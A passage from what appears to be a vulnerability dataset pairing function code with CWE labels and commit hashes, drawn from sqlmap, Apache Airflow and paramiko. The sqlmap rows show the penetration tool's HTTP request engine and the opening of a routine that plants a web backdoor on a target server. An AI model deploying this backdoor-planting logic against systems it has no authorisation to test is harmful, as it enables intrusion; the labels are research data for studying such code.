                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue ""
                    message += ""with further target testing? [y/N] ""

                    kb.connErrorChoice = readInput(message, default='N', boolean=True)

                if kb.connErrorChoice is not None:
                    if kb.connErrorChoice:
                        raise SqlmapConnectionException(warnMsg)
                    else:
                        raise SqlmapUserQuitException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or isMultiThreadMode():
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.preprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running preprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        processResponse(page, responseHeaders, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = getUnicode("""".join(responseHeaders.headers).strip())

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code",CWE-703,sqlmapproject/sqlmap,285482b396468cab9a611f73160ea603340c1574,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        if conf.offline:
            return None, None, None
        elif conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))
            return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None if not conf.murphyRate else randomInt(3)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        if multipart:
            post = multipart

        if not post:
            chunked = False

        elif chunked:
            post = _urllib.parse.unquote(post)
            post = chunkSplitPostData(post)

        websocket_ = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL and _urllib.parse.urlparse(url).scheme != ""https"":
                    url = re.sub(r""(?i)\Ahttp:"", ""https:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.HOST):
                    headers[HTTP_HEADER.HOST] = getHostHeader(url)

                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            for key, value in list(headers.items()):
                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            post = getBytes(post)

            if websocket_:
                ws = websocket.WebSocket()
                ws.settimeout(timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))
                page = ws.recv()
                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                if method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    method = getBytes(method)
                    req = MethodRequest(url, post, headers)
                    req.set_method(method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl()
                    patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""sqlmap got a refresh request ""
                        msg += ""(redirect like response common to login pages). ""
                        msg += ""Do you want to apply the refresh ""
                        msg += ""from now on (or stay on the original page)? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warn(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % ex
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warn(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = getUnicode("""".join(responseHeaders.headers).strip())

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if ex.code != conf.ignoreCode:
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d)"" % code
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d (%s)"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError):
            tbMsg = traceback.format_exc()

            if checking:
                return None, None, None
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif ""forcibly closed"" in tbMsg or ""Connection is already closed"" in tbMsg:
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue ""
                    message += ""with further target testing? [y/N] ""

                    kb.connErrorChoice = readInput(message, default='N', boolean=True)

                if kb.connErrorChoice is not None:
                    if kb.connErrorChoice:
                        raise SqlmapConnectionException(warnMsg)
                    else:
                        raise SqlmapUserQuitException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or isMultiThreadMode():
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.preprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running preprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        processResponse(page, responseHeaders, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = getUnicode("""".join(responseHeaders.headers).strip() if six.PY2 else responseHeaders.__bytes__())

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code"
,UNKNOWN,UNKNOWN,tests/jobs/test_scheduler_job.py,1,"def test_find_executable_task_instances_not_enough_task_concurrency_for_first(self, dag_maker):
        self.scheduler_job = SchedulerJob(subdir=os.devnull)
        session = settings.Session()

        dag_id = 'SchedulerJobTest.test_find_executable_task_instances_not_enough_task_concurrency_for_first'

        with dag_maker(dag_id=dag_id):
            op1a = DummyOperator(task_id='dummy1-a', priority_weight=2, max_active_tis_per_dag=1)
            op1b = DummyOperator(task_id='dummy1-b', priority_weight=1)
        dr1 = dag_maker.create_dagrun(run_type=DagRunType.SCHEDULED)
        dr2 = dag_maker.create_dagrun_after(dr1, run_type=DagRunType.SCHEDULED)

        ti1a = dr1.get_task_instance(op1a.task_id, session)
        ti1b = dr1.get_task_instance(op1b.task_id, session)
        ti2a = dr2.get_task_instance(op1a.task_id, session)
        ti1a.state = State.RUNNING
        ti1b.state = State.SCHEDULED
        ti2a.state = State.SCHEDULED
        session.flush()

        # Schedule ti with lower priority,
        # because the one with higher priority is limited by a concurrency limit
        res = self.scheduler_job._executable_task_instances_to_queued(max_tis=1, session=session)
        assert 1 == len(res)
        assert res[0].key == ti1b.key

        session.rollback()",CWE-703,apache/airflow,0367a92881e88df36dabb81ef837e5256f3db89d,"def test_find_executable_task_instances_not_enough_task_concurrency_for_first(self, dag_maker):
        self.scheduler_job = SchedulerJob(subdir=os.devnull)
        session = settings.Session()

        dag_id = 'SchedulerJobTest.test_find_executable_task_instances_not_enough_task_concurrency_for_first'

        with dag_maker(dag_id=dag_id):
            op1a = DummyOperator(task_id='dummy1-a', priority_weight=2, max_active_tis_per_dag=1)
            op1b = DummyOperator(task_id='dummy1-b', priority_weight=1)
        dr1 = dag_maker.create_dagrun(run_type=DagRunType.SCHEDULED)
        dr2 = dag_maker.create_dagrun_after(dr1, run_type=DagRunType.SCHEDULED)

        ti1a = dr1.get_task_instance(op1a.task_id, session)
        ti1b = dr1.get_task_instance(op1b.task_id, session)
        ti2a = dr2.get_task_instance(op1a.task_id, session)
        ti1a.state = State.RUNNING
        ti1b.state = State.SCHEDULED
        ti2a.state = State.SCHEDULED
        session.flush()

        # Schedule ti with lower priority,
        # because the one with higher priority is limited by a concurrency limit
        res = self.scheduler_job._executable_task_instances_to_queued(max_tis=1, session=session)
        assert 1 == len(res)
        assert res[0].key == ti1b.key

        session.rollback()"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/rsakey.py,0,"def __str__(self):
        # NOTE: as per inane commentary in #853, this appears to be the least
        # crummy way to get a representation that prints identical to Python
        # 2's previous behavior, on both interpreters.
        # TODO: replace with a nice clean fingerprint display or something
        if PY2:
            # Can't just return the .decode below for Py2 because stuff still
            # tries stuffing it into ASCII for whatever godforsaken reason
            return self.asbytes()
        else:
            return self.asbytes().decode(""utf8"", errors=""ignore"")",,paramiko/paramiko,bdb5d9a766e30b04c0df0eea8e7b313813ce6e1d,"def __str__(self):
        # NOTE: as per inane commentary in #853, this appears to be the least
        # crummy way to get a representation that prints identical to Python
        # 2's previous behavior, on both interpreters.
        # TODO: replace with a nice clean fingerprint display or something
        if PY2:
            # Can't just return the .decode below for Py2 because stuff still
            # tries stuffing it into ASCII for whatever godforsaken reason
            return self.asbytes()
        else:
            return self.asbytes().decode(""utf8"", errors=""ignore"")"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/takeover/web.py,0,"def webInit(self):
        """"""
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """"""

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = ""which web application language does the web server ""
        message += ""support?\n""

        for count in xrange(len(choices)):
            ext = choices[count]
            message += ""[%d] %s%s\n"" % (count + 1, ext.upper(), ("" (default)"" if default == ext else """"))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn(""invalid value, only digits are allowed"")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn(""invalid value, it must be between 1 and %d"" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(oset(directories))

